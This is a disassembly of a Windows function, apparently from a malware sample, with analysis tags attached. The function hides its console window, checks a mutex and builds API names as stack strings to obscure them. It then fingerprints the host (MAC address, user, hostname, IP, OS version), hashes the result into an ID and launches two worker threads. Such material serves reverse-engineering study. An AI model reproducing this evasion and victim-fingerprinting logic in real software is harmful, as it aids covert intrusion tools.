Function at 0x27de1b14990
Capabilities:
Check mutex on windows
Check os version
Contain obfuscated stackstrings
Get hostname
Get mac address on windows
Hash data using sha256
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x980]
sub rsp, 0xa80
mov rax, qword [0x27de1b3d008]
xor rax, rsp
mov qword [rbp + 0x970], rax
movdqa xmm0, xmmword [str.i58_FA4lEtFM1dTT_]
lea rcx, [rbp + 0x208]
mov esi, WSACleanup
mov dword [0x27de1b3ed7d], 0x3d616363
movdqu xmmword [0x27de1b3ed8c], xmm0
mov word [rbp + 0x20c], si
mov dword [0x27de1b3ed81], 0x34714353
mov dword [0x27de1b3ed85], 0x6e436554
mov word [0x27de1b3ed89], 0x4330
mov byte [0x27de1b3ed8b], 0x33
mov dword [0x27de1b3ed78], 0x73736f6b
mov byte [0x27de1b3ed7c], 0x65
mov dword [0x27de1b3ed9c], 0x74365a76
mov word [0x27de1b3eda0], 0x71
mov dword [rbp + 0x20e], 0x65006e
mov dword [rbp + 0x212], 0x33006c
mov dword [rbp + 0x21a], 0x6c0064
mov dword [rbp + 0x216], 0x2e0032
mov dword [rbp + 0x208], 0x65004b
mov dword [rbp + 0x21e], WSACleanup
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor r14d, r14d
mov dword [rbp + 0x1f0], 0x730055
lea rcx, [rbp + 0x1f0]
mov qword [0x27de1b3ed60], rax
mov word [rbp + 0x204], r14w
mov dword [rbp + 0x1f8], 0x320033
mov dword [rbp + 0x1fc], 0x64002e
mov dword [rbp + 0x1f4], 0x720065
mov dword [rbp + 0x200], 0x6c006c
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rcx, str.Iphlpapi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rcx, str.Wininet.dll
mov qword [0x27de1b3ed68], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea r8, str.dsds
xor ecx, ecx
lea edx, [rsi - 0x71]
mov qword [0x27de1b3ed70], rax
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rbp - 0x80], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x27de1b1585b
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
cmp byte [0x27de1b3da90], 0x23
jne 0x27de1b14b69
cmp byte [0x27de1b3da91], 0x23
jne 0x27de1b14b69
cmp byte [0x27de1b3da92], r14b
jne 0x27de1b14b69
mov dword [0x27de1b3edd4], 0x1bb
mov eax, 0x800000
jmp 0x27de1b14b8e
lea rcx, [0x27de1b3da90]
call fcn.27de1b1f1b0
mov dword [0x27de1b3edd4], eax
cmp eax, 0x1bb
jne 0x27de1b14b89
mov eax, 0x800000
jmp 0x27de1b14b8e
mov eax, 0x80000000
mov dword [0x27de1b3edd0], eax
mov ecx, 0x2c0
lea rax, [0x27de1b3da50]
mov dword [rbp - 0x78], 0x2c0
mov qword [0x27de1b3da88], rax
call fcn.27de1b1f28c
lea rdx, [rbp - 0x78]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x27de1b14be8
mov rcx, rbx
call fcn.27de1b1ee34
mov ecx, dword [rbp - 0x78]
call fcn.27de1b1f28c
lea rdx, [rbp - 0x78]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
mov ecx, 0x1388
call fcn.27de1b1f28c
xor edx, edx
mov qword [rsp + 0x50], rax
mov r8d, 0x1388
mov rcx, rax
mov r12, rax
call fcn.27de1b172d0
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x228], xmm0
mov word [rbp + 0x238], ax
movzx ecx, byte [rbx + 0x19d]
movzx edx, byte [rbx + 0x19c]
movzx r8d, byte [rbx + 0x19b]
movzx r10d, byte [rbx + 0x19a]
movzx r11d, byte [rbx + 0x199]
movzx r9d, byte [rbx + 0x198]
mov dword [rsp + 0x40], ecx
lea rcx, [rbp + 0x228]
mov dword [rsp + 0x38], edx
lea edx, [rax + 0x12]
mov dword [rsp + 0x30], r8d
lea r8, str._02X:_02X:_02X:_02X:_02X:_02X
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], r11d
call fcn.27de1b110d0
mov rcx, rbx
call fcn.27de1b1ee34
xor edx, edx
lea rcx, [rbp + 0x360]
mov r8d, 0x202
call fcn.27de1b172d0
mov rcx, qword [0x27de1b3ed68]
lea rdx, [rbp + 0x1a0]
mov dword [rbp - 0x74], 0x101
mov dword [rbp + 0x1a4], 0x4e726573
mov dword [rbp + 0x1a0], 0x55746547
mov dword [rbp + 0x1a8], 0x57656d61
mov byte [rbp + 0x1ac], r14b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x74]
lea rcx, [rbp + 0x360]
call rax
mov qword [rsp + 0x38], r14
lea r8, [rbp + 0x360]
mov qword [rsp + 0x30], r14
mov rsi, 0xffffffffffffffff
mov dword [rsp + 0x28], r14d
mov r9d, esi
xor edx, edx
mov qword [rsp + 0x20], r14
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rcx, rbx
call fcn.27de1b1f28c
mov qword [rsp + 0x38], r14
lea r8, [rbp + 0x360]
mov qword [rsp + 0x30], r14
mov r9d, esi
mov dword [rsp + 0x28], ebx
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rax
mov r13, rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, 0x202
lea rdx, [rbp]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edx, edx
lea rcx, [rbp + 0x260]
mov r8d, 0x100
call fcn.27de1b172d0
mov edx, 0x100
lea rcx, [rbp + 0x260]
call qword [sym.imp.WS2_32.dll_gethostname]
cmp eax, esi
jne 0x27de1b14d8a
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, [rbp + 0x260]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdi, rax
test rax, rax
jne 0x27de1b14da5
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdi, qword [rdi + 0x18]
mov ebx, r14d
cmp qword [rdi], rbx
je 0x27de1b14dbf
mov rax, rdi
inc ebx
lea rax, [rax + 8]
cmp qword [rax], r14
jne 0x27de1b14db4
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x400
call fcn.27de1b172d0
lea rcx, [rbp + 0x570]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x27de1b14de0
lea r8, [rbp + 0x228]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x27de1b14e00
lea rcx, [rbp + 0x570]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x27de1b14e20
xor edx, edx
nop dword [rax]
movzx eax, byte [rdx + r13]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x27de1b14e30
movsxd rax, ebx
mov rcx, qword [rdi + rax*8 - 8]
lea r15, [rdi + rax*8]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rbp + 0x570]
mov r8, rax
dec rcx
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x27de1b14e61
xor edx, edx
nop dword [rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x27de1b14e70
mov eax, r14d
mov qword [rbp - 0x28], r14
mov dword [rbp - 0x30], eax
lea rcx, [rbp + 0x570]
mov dword [rbp - 0x20], 0x6a09e667
mov rbx, rsi
mov dword [rbp - 0x1c], 0xbb67ae85
mov dword [rbp - 0x18], 0x3c6ef372
mov dword [rbp - 0x14], 0xa54ff53a
mov dword [rbp - 0x10], 0x510e527f
mov dword [rbp - 0xc], 0x9b05688c
mov dword [rbp - 8], 0x1f83d9ab
mov dword [rbp - 4], 0x5be0cd19
nop dword [rax]
inc rbx
cmp byte [rcx + rbx], al
jne 0x27de1b14ed0
mov rdi, r14
test rbx, rbx
je 0x27de1b14f1e
mov ecx, eax
movzx eax, byte [rbp + rdi + 0x570]
mov byte [rbp + rcx - 0x70], al
mov eax, dword [rbp - 0x30]
inc eax
mov dword [rbp - 0x30], eax
cmp eax, 0x40
jne 0x27de1b14f16
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x70]
call fcn.27de1b11130
add qword [rbp - 0x28], 0x200
mov eax, r14d
mov dword [rbp - 0x30], eax
inc rdi
cmp rdi, rbx
jb 0x27de1b14ee0
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x70]
call fcn.27de1b11a50
mov ecx, 0x41
call fcn.27de1b1f28c
mov qword [rsp + 0x58], rax
lea rbx, [rbp + 0x240]
mov rdi, rax
mov r14d, 0x20
nop dword [rax]
movzx r8d, byte [rbx]
lea rdx, str._02x
mov rcx, rdi
call fcn.27de1b11070
add rdi, 2
lea rbx, [rbx + 1]
sub r14, 1
jne 0x27de1b14f50
mov rax, qword [rsp + 0x58]
mov rdx, rsi
nop dword [rax]
inc rdx
cmp byte [rax + rdx], 0
jne 0x27de1b14f80
mov rcx, rax
call fcn.27de1b11c70
mov rdi, rax
mov rbx, rsi
inc rbx
cmp byte [rax + rbx], 0
jne 0x27de1b14f97
mov edx, ebx
mov rcx, rdi
call fcn.27de1b15f20
mov edx, ebx
mov rcx, rdi
call fcn.27de1b11c70
mov rcx, qword [0x27de1b3ed60]
lea rdx, [rbp + 0x1c0]
mov qword [0x27de1b3daa8], rax
mov dword [rbp + 0x1c0], 0x43746547
mov dword [rbp + 0x1c6], 0x746e6572
mov dword [rbp + 0x1ca], 0x636f7250
mov word [rbp + 0x1c4], 0x7275
mov dword [rbp + 0x1ce], 0x49737365
mov word [rbp + 0x1d2], 0x64
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov ecx, 0xa
mov ebx, eax
call fcn.27de1b1f28c
xor ecx, ecx
mov qword [rsp + 0x60], rax
mov r8d, ebx
lea rdx, [0x27de1b39930]
mov qword [rax], rcx
mov word [rax + 8], cx
mov rcx, rax
call fcn.27de1b11070
lea rcx, [r12 - 1]
nop dword [rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b15040
mov eax, dword [0x27de1b39934]
mov dword [rcx], eax
lea rcx, [r12 - 1]
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b15060
mov r8, qword [0x27de1b3daa8]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x27de1b15080
lea rcx, [r12 - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b15095
movzx eax, word [0x27de1b39938]
mov word [rcx], ax
call fcn.27de1b12280
mov rdx, rsi
inc rdx
cmp byte [rax + rdx], 0
jne 0x27de1b150b1
mov rcx, rax
call fcn.27de1b11c70
mov rdi, rax
mov rbx, rsi
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x27de1b150d0
mov edx, ebx
mov rcx, rdi
call fcn.27de1b15f20
mov edx, ebx
mov rcx, rdi
call fcn.27de1b11c70
mov qword [rsp + 0x68], rax
lea rcx, [r12 - 1]
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b15100
xor edx, edx
mov r12, rax
nop
movzx eax, byte [r12 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x27de1b15110
mov r12, qword [rsp + 0x50]
lea rcx, [r12 - 1]
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b15130
movzx eax, word [0x27de1b39938]
mov word [rcx], ax
mov rcx, qword [r15 - 8]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, rsi
inc rdx
cmp byte [rax + rdx], 0
jne 0x27de1b15153
mov rcx, rax
call fcn.27de1b11c70
mov rdi, rax
mov rbx, rsi
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x27de1b15170
mov edx, ebx
mov rcx, rdi
call fcn.27de1b15f20
mov edx, ebx
mov rcx, rdi
call fcn.27de1b11c70
mov qword [rsp + 0x70], rax
lea rcx, [r12 - 1]
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b151a0
xor edx, edx
mov r12, rax
nop
movzx eax, byte [r12 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x27de1b151b0
mov r12, qword [rsp + 0x50]
lea rcx, [r12 - 1]
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b151d0
movzx eax, word [0x27de1b39938]
mov word [rcx], ax
mov ecx, 0x80
call fcn.27de1b1f28c
xorps xmm0, xmm0
mov rdi, rax
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
movups xmmword [rax + 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_GetVersion]
movzx ebx, ax
mov ecx, 8
shr bx, 8
mov r14d, eax
call fcn.27de1b1f28c
mov r8, rax
lea rcx, [rdi - 1]
mov dword [rax], 0x646e6957
mov dword [rax + 4], 0x73776f
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b15241
xor edx, edx
nop dword [rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x27de1b15250
cmp r14b, 0xa
jne 0x27de1b15287
lea rcx, [rdi - 1]
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b15270
mov eax, dword [0x27de1b39764]
mov dword [rcx], eax
jmp 0x27de1b153df
cmp r14b, 6
jne 0x27de1b1535c
cmp bx, 3
jne 0x27de1b152c1
lea rcx, [rdi - 1]
nop dword [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b152a0
mov eax, dword [str._8.1]
mov dword [rcx], eax
movzx eax, byte [0x27de1b3976c]
mov byte [rcx + 4], al
jmp 0x27de1b153df
cmp bx, 2
jne 0x27de1b152f3
lea rcx, [rdi - 1]
nop dword [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b152d0
movzx eax, word [0x27de1b39770]
mov word [rcx], ax
movzx eax, byte [0x27de1b39772]
mov byte [rcx + 2], al
jmp 0x27de1b153df
cmp bx, 1
jne 0x27de1b15323
lea rcx, [rdi - 1]
nop dword [rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b15300
movzx eax, word [0x27de1b39774]
mov word [rcx], ax
movzx eax, byte [0x27de1b39776]
mov byte [rcx + 2], al
jmp 0x27de1b153df
test bx, bx
jne 0x27de1b153df
lea rcx, [rdi - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b15330
mov eax, dword [str._Vista]
mov dword [rcx], eax
movzx eax, word [0x27de1b3977c]
mov word [rcx + 4], ax
movzx eax, byte [0x27de1b3977e]
mov byte [rcx + 6], al
jmp 0x27de1b153df
cmp r14b, 5
jne 0x27de1b153df
cmp bx, 2
jne 0x27de1b1539b
lea rcx, [rdi - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b15370
movups xmm0, xmmword [str._XP_64_Bit_Edition]
movups xmmword [rcx], xmm0
movzx eax, word [0x27de1b39790]
mov word [rcx + 0x10], ax
movzx eax, byte [0x27de1b39792]
mov byte [rcx + 0x12], al
jmp 0x27de1b153df
cmp bx, 1
jne 0x27de1b153b9
lea rcx, [rdi - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b153a5
mov eax, dword [0x27de1b39794]
mov dword [rcx], eax
jmp 0x27de1b153df
test bx, bx
jne 0x27de1b153df
lea rcx, [rdi - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b153c2
mov eax, dword [str._2000]
mov dword [rcx], eax
movzx eax, word [0x27de1b3979c]
mov word [rcx + 4], ax
mov rcx, r8
call fcn.27de1b1ee34
mov rdx, rsi
nop word [rax + rax]
inc rdx
cmp byte [rdi + rdx], 0
jne 0x27de1b153f0
mov rcx, rdi
call fcn.27de1b11c70
mov r14, rax
mov rbx, rsi
inc rbx
cmp byte [rax + rbx], 0
jne 0x27de1b15407
mov edx, ebx
mov rcx, r14
call fcn.27de1b15f20
mov edx, ebx
mov rcx, r14
call fcn.27de1b11c70
mov qword [rsp + 0x78], rax
lea rcx, [r12 - 1]
nop
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b15430
xor edx, edx
mov r12, rax
nop
movzx eax, byte [r12 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x27de1b15440
mov r12, qword [rsp + 0x50]
lea rcx, [r12 - 1]
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b15460
movzx eax, word [0x27de1b39938]
mov rdx, rsi
mov word [rcx], ax
nop word [rax + rax]
inc rdx
cmp byte [rdx + r13], 0
jne 0x27de1b15480
mov rcx, r13
call fcn.27de1b11c70
mov r14, rax
mov rbx, rsi
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x27de1b154a0
mov edx, ebx
mov rcx, r14
call fcn.27de1b15f20
mov edx, ebx
mov rcx, r14
call fcn.27de1b11c70
mov r13, rax
lea rcx, [r12 - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b154c5
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rdx + r13]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x27de1b154e0
lea rcx, [r12 - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b154f5
movzx eax, word [0x27de1b39938]
mov rdx, rsi
mov word [rcx], ax
mov rax, qword [rsp + 0x60]
inc rdx
cmp byte [rax + rdx], 0
jne 0x27de1b15511
mov rcx, rax
call fcn.27de1b11c70
mov r14, rax
mov rbx, rsi
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x27de1b15530
mov edx, ebx
mov rcx, r14
call fcn.27de1b15f20
mov edx, ebx
mov rcx, r14
call fcn.27de1b11c70
mov r15, qword [rsp + 0x50]
mov r12, rax
lea rcx, [r15 - 1]
nop dword [rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b15560
xor edx, edx
nop dword [rax]
movzx eax, byte [r12 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x27de1b15570
lea rcx, [r15 - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b15584
movzx eax, word [0x27de1b39938]
mov edx, 4
mov word [rcx], ax
lea rcx, str.Nexe
call fcn.27de1b11c70
mov r14, rax
mov rbx, rsi
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x27de1b155b0
mov edx, ebx
mov rcx, r14
call fcn.27de1b15f20
mov edx, ebx
mov rcx, r14
call fcn.27de1b11c70
mov r14, rax
lea rcx, [r15 - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b155d4
xor edx, edx
movzx eax, byte [r14 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x27de1b155e0
mov ecx, 0x1f4
call fcn.27de1b1f28c
xor edx, edx
mov r8d, 0x1f4
mov rcx, rax
mov r15, rax
call fcn.27de1b172d0
lea rcx, [r15 - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b15611
mov eax, dword [0x27de1b39944]
mov dword [rcx], eax
lea rcx, [r15 - 1]
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b15630
mov r8, qword [0x27de1b3daa8]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x27de1b15650
lea rcx, [0x27de1b3dab0]
mov rdx, rsi
nop word [rax + rax]
inc rdx
cmp byte [rcx + rdx], 0
jne 0x27de1b15670
call fcn.27de1b11c70
mov rbx, rax
inc rsi
cmp byte [rax + rsi], 0
jne 0x27de1b15681
mov edx, esi
mov rcx, rbx
call fcn.27de1b15f20
mov edx, esi
mov rcx, rbx
call fcn.27de1b11c70
mov rsi, qword [rsp + 0x50]
mov rbx, rax
lea rdx, [rsi - 1]
nop word [rax + rax]
cmp byte [rdx + 1], 0
lea rdx, [rdx + 1]
jne 0x27de1b156b0
movzx ecx, word [0x27de1b39938]
mov word [rdx], cx
lea rcx, [rsi - 1]
nop dword [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x27de1b156d0
xor edx, edx
nop dword [rax]
movzx eax, byte [rbx + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x27de1b156e0
mov rcx, rsi
call fcn.27de1b13870
mov rcx, rsi
call fcn.27de1b1ee34
mov rcx, qword [rsp + 0x58]
call fcn.27de1b1ee34
mov rcx, qword [rsp + 0x60]
call fcn.27de1b1ee34
mov rcx, qword [rsp + 0x68]
call fcn.27de1b1ee34
mov rcx, qword [rsp + 0x70]
call fcn.27de1b1ee34
mov rcx, rdi
call fcn.27de1b1ee34
mov rcx, qword [rsp + 0x78]
call fcn.27de1b1ee34
mov rcx, r13
call fcn.27de1b1ee34
mov rcx, r12
call fcn.27de1b1ee34
mov rcx, r14
call fcn.27de1b1ee34
mov rcx, rbx
call fcn.27de1b1ee34
mov rcx, qword [0x27de1b3ed60]
lea rdx, [rbp + 0x1b0]
mov dword [rbp + 0x1b0], 0x61657243
mov dword [rbp + 0x1b7], 0x61657268
mov word [rbp + 0x1b4], 0x6574
mov byte [rbp + 0x1b6], 0x54
mov word [rbp + 0x1bb], 0x64
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x27de1b3ed60]
lea rdx, [rbp + 0x1d8]
mov rbx, rax
mov dword [rbp + 0x1d8], 0x74696157
mov dword [rbp + 0x1e0], 0x6c676e69
mov dword [rbp + 0x1e4], 0x6a624f65
mov dword [rbp + 0x1e8], 0x746365
mov dword [rbp + 0x1dc], 0x53726f46
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r14d, r14d
lea r8, [0x27de1b13ec0]
mov qword [rsp + 0x28], r14
mov r9, r15
xor edx, edx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
mov rsi, rax
call rbx
mov r9, r15
mov qword [rsp + 0x28], r14
lea r8, [0x27de1b13bb0]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
mov rdi, rax
call rbx
mov edx, 0xffffffff
mov rcx, rax
mov rbx, rax
call rsi
mov edx, 0xffffffff
mov rcx, rdi
call rsi
mov rcx, r15
call fcn.27de1b1ee34
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x970]
xor rcx, rsp
call fcn.27de1b161e0
lea r11, [rsp + 0xa80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret